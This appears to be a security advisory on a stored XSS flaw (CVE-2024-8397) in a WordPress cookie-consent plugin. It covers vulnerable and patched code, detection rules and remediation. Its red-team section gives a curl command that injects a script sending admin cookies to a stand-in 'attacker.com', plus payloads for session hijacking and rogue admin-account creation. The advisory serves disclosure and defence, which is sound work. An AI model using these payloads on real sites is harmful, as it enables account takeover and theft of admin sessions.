CVE-2024-8397

Executive Summary

CVE-2024-8397 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Webtoffee GDPR Cookie Consent (versions before 2.6.1). The plugin fails to properly sanitize and escape IP headers when logging visitor data. An unauthenticated attacker can inject malicious JavaScript into the IP header fields (e.g., X-Forwarded-For). When an administrator visits the "Consent report" page, the injected script executes in the admin's browser context, leading to potential session hijacking, data theft, or further compromise of the WordPress installation.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are affected if they are running a version prior to 2.6.1. No supply chain compromise of the repository itself has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – The attacker can send a crafted HTTP request.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – The admin must visit the "Consent report" page.
• Scope: Changed (S:C) – The vulnerability impacts the admin's browser context, not just the plugin.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited ability to modify data.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. Exploitation requires admin interaction, but the attack surface is broad (any visitor can inject the payload).

Deep Dive & Mechanics

The vulnerability resides in the logging functionality of the Webtoffee GDPR Cookie Consent plugin. When a visitor accesses the site, the plugin logs their IP address. It retrieves the IP from HTTP headers such as X-Forwarded-For, X-Real-IP, or Client-IP. The plugin does not sanitize or escape these header values before storing them in the database.

An attacker can craft an HTTP request with a malicious payload in one of these headers, for example:

X-Forwarded-For: <script>alert('XSS')</script>

The plugin stores this value as the visitor's IP. When an administrator navigates to the "Consent report" page (typically under the WordPress admin menu), the plugin retrieves and displays the stored IP addresses without proper escaping. The injected script executes in the admin's browser, allowing the attacker to perform actions such as:

• Stealing admin session cookies.
• Modifying WordPress settings.
• Creating new admin accounts.
• Injecting further malicious content.

The root cause is the lack of input sanitization on the IP header and output escaping on the "Consent report" page.

Vulnerable vs. Patched Code

Vulnerable Code (before 2.6.1):

// In the logging function
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'];
// Directly stored without sanitization
$wpdb->insert($table_name, array('ip' => $ip));

// In the admin report page
$results = $wpdb->get_results("SELECT ip FROM {$table_name}");
foreach ($results as $row) {
    echo $row->ip; // No escaping
}

Patched Code (2.6.1):

// In the logging function
$ip = sanitize_text_field(wp_unslash($_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR']));
$wpdb->insert($table_name, array('ip' => $ip));

// In the admin report page
$results = $wpdb->get_results("SELECT ip FROM {$table_name}");
foreach ($results as $row) {
    echo esc_html($row->ip); // Proper escaping
}

The patch introduces sanitize_text_field() for input and esc_html() for output, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with Webtoffee GDPR Cookie Consent < 2.6.1.
• Ability to send custom HTTP requests (e.g., using curl or Burp Suite).

Exploit Steps:

1. Identify the target WordPress site.
2. Send a crafted HTTP request with a malicious payload in the X-Forwarded-For header:

   curl -H "X-Forwarded-For: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" http://target-site.com/
   

3. The payload is stored in the plugin's database.
4. Wait for an admin to visit the "Consent report" page (e.g., /wp-admin/admin.php?page=webtoffee-gdpr-cookie-consent-consent-report).
5. The script executes, sending the admin's cookies to the attacker's server.

Alternative Payloads:

• Session hijacking: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>
• Admin account creation: <script>var xhr=new XMLHttpRequest();xhr.open('POST','/wp-admin/admin-ajax.php',true);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.send('action=create_user&user_login=hacker&user_pass=password&role=administrator');</script>

Blue Team (Defense & Detection)

Detection:

• Monitor HTTP requests for suspicious X-Forwarded-For headers containing HTML/JavaScript.
• Review "Consent report" page logs for unexpected script tags.
• Use WAF rules to block malicious headers.

Prevention:

• Immediately update the plugin to version 2.6.1 or later.
• Implement a Web Application Firewall (WAF) with rules to sanitize IP headers.
• Restrict access to the "Consent report" page to trusted IPs only.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with X-Forwarded-For, X-Real-IP, or Client-IP headers containing <script> tags or JavaScript event handlers.
  • Outbound connections from the WordPress admin to unknown domains (e.g., attacker.com).

• Host IOCs:

  • Database entries in the plugin's consent log table containing HTML/JavaScript in the ip column.
  • Unexpected admin users or modified WordPress settings.

• File IOCs:

  • Modified plugin files (though the vulnerability is in the database, not files).

Detection Engineering

YARA Rule

rule CVE_2024_8397_Webtoffee_XSS {
    meta:
        description = "Detects stored XSS payloads in Webtoffee GDPR Cookie Consent plugin logs"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-8397"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script[^>]*>/i
        $event_handler = /on\w+\s*=\s*["'][^"']*["']/i
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: CVE-2024-8397 Webtoffee GDPR Cookie Consent Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with malicious XSS payloads in IP headers targeting WordPress sites
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.headers|contains:
            - 'X-Forwarded-For'
            - 'X-Real-IP'
            - 'Client-IP'
        http.headers|re:
            - '<script[^>]*>.*<\/script[^>]*>'
            - 'on\w+\s*=\s*["\'][^"\']*["\']'
    condition: selection
falsepositives:
    - Legitimate use of script tags in headers (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8397 Webtoffee GDPR Cookie Consent Stored XSS"; flow:to_server; content:"X-Forwarded-For"; http_header; pcre:"/<script[^>]*>.*<\/script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to version 2.6.1 or later from the WordPress plugin repository.
2. Scan the database for existing XSS payloads in the consent log table and remove them.
3. Review admin accounts and WordPress settings for unauthorized changes.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block malicious headers.
• Regularly update all WordPress plugins and themes.
• Enforce least privilege for admin users.
• Monitor logs for suspicious activity.

Workaround (if patching is not possible):

• Disable the "Consent report" page by modifying the plugin code or using a security plugin to restrict access.
• Use a reverse proxy to sanitize IP headers before they reach the WordPress server.

Valters IT
Securing Digital Frontiers